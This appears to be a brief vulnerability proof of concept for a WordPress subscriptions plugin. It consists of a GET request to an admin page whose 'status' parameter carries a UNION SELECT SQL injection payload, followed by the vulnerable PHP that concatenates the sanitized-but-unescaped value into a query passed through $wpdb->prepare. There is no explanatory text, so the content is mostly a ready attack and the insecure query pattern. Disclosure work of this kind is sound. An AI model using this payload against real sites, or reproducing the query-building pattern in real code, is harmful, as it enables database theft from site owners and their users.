GET /wp-admin/admin.php?page=rm-pagbank-subscriptions&status=' UNION SELECT CAST(version() AS CHAR),2,3,4,5,6,7,8,9,10,11,12,13,14,15 -- -

if (!empty($_REQUEST['status'])) {
           $status = sanitize_text_field(wp_unslash($_REQUEST['status']));
           $where .= " AND status = '$status'";
       }

$this->items = $wpdb->get_results(
           $wpdb->prepare(
               "SELECT * FROM {$wpdb->prefix}pagbank_recurring WHERE $where ORDER BY  $orderby $order LIMIT %d OFFSET %d",
               $per_page,
               ($current_page - 1) * $per_page
           ),
           ARRAY_A
       );
...